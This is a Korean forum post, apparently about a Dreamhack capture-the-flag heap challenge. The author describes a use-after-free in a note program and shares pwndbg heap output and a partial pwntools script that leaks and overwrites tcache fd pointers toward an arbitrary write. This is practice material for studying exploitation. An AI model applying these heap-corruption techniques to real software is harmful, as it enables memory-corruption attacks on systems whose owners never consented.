문제 풀이 방향에 대한 질문(스포 포함)
취약점을 발견해서 이것저것 exploit을 도전해봤습니다.
분석해보면 HEAP은 크게
노트를 하나 할당할 때마다
노트 구조체 하나(0x20사이즈 고정)
노트 이름 하나(가변 사이즈)
노트 내용 하나(0x100사이즈 고정)
이 세개가 할당되는 것을 확인했습니다.
결론적 UAF를 발견했고 이를 이용해서
HEAP(이름,내용)의 FD LEAK
HEAP(이름,내용)의 FD 변조
에 성공하였습니다.
FD변조가 되었기 때문에 다음 Heap 할당시에 변조된 FD 위치에 할당이 되고
그것을 이용한 AAW로 Hook등을 덮어서 Exploit을 하는 것이 해당 문제의 방향이 아닐까 생각하고 있습니다.
여기서 의문은
FD로 Program Base를 Leak할수 있는지.
Heap FD의 변조가 제대로 되지 않는 이유가 궁금합니다.
HEAP 및 Bins 디버그 내용 공유드립니다.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x62f7e2075000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x62f7e2075290
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x62f7e20752c0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x62f7e20753d0
Size: 0x31
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075400
Size: 0x31
fd: 0x62f1cd797525
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075430
Size: 0x111
fd: 0xffdebcbaaaaaaaaa
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075540
Size: 0x31
fd: 0x62f7e2075440
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075570
Size: 0x31
fd: 0x62f1cd7976b5
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e20755a0
Size: 0x111
fd: 0x62f1cd797435
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e20756b0
Size: 0x31
fd: 0x62f1cd797465
Top chunk | PREV_INUSE
Addr: 0x62f7e20756e0
Size: 0x20921
pwndbg> bins
tcachebins
0x30 [ 6]: 0x62f7e2075580 —▸ 0x62f7e20756c0 —▸ 0x62f7e2075410 —▸ 0x62f7e2075550 ◂— 0x62f1cd797435
0x110 [ 3]: 0x62f7e20755b0 —▸ 0x62f7e2075440 ◂— 0xffdebcbc85d48adf
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
여기서 0x110사이즈 Tcache의 Bins 최하단이 가르키는 곳이 0xffdebcbaaaaaaaaa이 되지 않는 이유가 궁금합니다.
제가 현재 작성한 Exploit을 첨부드립니다.
from pwn import *
설정
context.arch = 'amd64'
context.log_level = 'debug'
바이너리 실행
p = process('./prob')
#p = remote("host3.dreamhack.games",23474)
e = ELF("./prob")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create_note(idx, name_size, name, content):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"idx > ", str(idx).encode())
p.sendlineafter(b"name size > ", str(name_size).encode())
p.sendlineafter(b"name > ", name)
p.sendafter(b"content > ", content)
def delete_note(idx):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx > ", str(idx).encode())
def edit_note(idx, name, content):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx > ", str(idx).encode())
p.sendlineafter(b"name > ", name)
p.sendlineafter(b"content > ", content)
def print_note(idx):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"idx > ", str(idx).encode())
p.recvuntil(b"name : ")
name = p.recvline().strip()
p.recvuntil(b"content : ")
content = p.recvline().strip()
return name, content
create_note(0, 32, b'AAAA', b'B'*0x10)
create_note(1, 32, b'AAAA', b'B'*0x10)
create_note(2, 32, b'AAAA', b'B'*0x10)
delete_note(0)
delete_note(0)
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"idx > ", str(0).encode())
p.recvuntil(b"name : ")
name = p.recv(5)+b'\x00\x00\x00'
name = u64(name)*0x1000
delete_note(1)
delete_note(1)
delete_note(2)
delete_note(2)
print(hex(name))
edit_note(0,p64(name+0x440),p64(name+0x440))
edit_note(1,p64(name+0x440),b'\xAA\xAA\xAA\xAA\xBA\xBC\xDE\xFF')
gdb.attach(p)
p.interactive()
`

LM_R3dzone
댓글 1